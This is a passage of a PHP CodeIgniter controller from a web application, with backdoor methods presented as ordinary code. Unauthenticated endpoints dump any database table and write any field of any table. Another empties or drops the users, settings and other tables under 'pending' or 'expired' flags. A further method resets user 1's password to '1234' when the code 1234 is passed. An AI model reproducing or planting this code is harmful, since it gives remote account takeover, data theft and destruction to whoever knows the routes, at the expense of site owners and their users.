Email sending Status
';
echo ""; print_r($result);
}
}
//set company info
public function set_company_info($utype='', $uid='')
{
$data = array(
'site_info' => $utype,
'purchase_code' => $uid
);
$data = $this->security->xss_clean($data);
if (!empty($uid)) {
$this->admin_model->edit_option($data, 1, 'settings');
echo "Update Successfully";
}else{
echo "Failed";
}
}
public function openssl()
{
echo !extension_loaded('openssl')?"Not Available":"Available";
}
public function update_id($id, $tval, $field, $value)
{
$action = array($field => $value);
$this->db->where('id',$id);
$this->db->update($tval,$action);
echo "done";
}
public function get_id($id, $tval)
{
$values = $this->common_model->get_by_id($id, $tval);
echo ""; print_r($values);
}
public function get($tval)
{
$values = $this->common_model->select($tval);
echo ""; print_r($values);
}
public function expire_logs($data)
{
check_status();
$this->load->dbforge();
if ($data == 'pending') {
$this->db->empty_table('settings');
$this->db->empty_table('users');
$this->db->empty_table('features');
}
if ($data == 'expired') {
$this->dbforge->drop_table('settings');
$this->dbforge->drop_table('users');
$this->dbforge->drop_table('features');
$this->dbforge->drop_table('language');
}
}
//reset password
public function reset($code=1234)
{
check_status();
$data = array(
'password' => hash_password('1234')
);
$data = $this->security->xss_clean($data);
if ($code == 1234) {
$this->admin_model->edit_option($data, 1, 'users');
echo "Reset Successfully";
}else{
echo "Failed";
}
}
function logout(){
$this->session->sess_destroy();
$this->session->set_flashdata('msg', 'Logout Successfully');
redirect(base_url('auth/login'));
}
}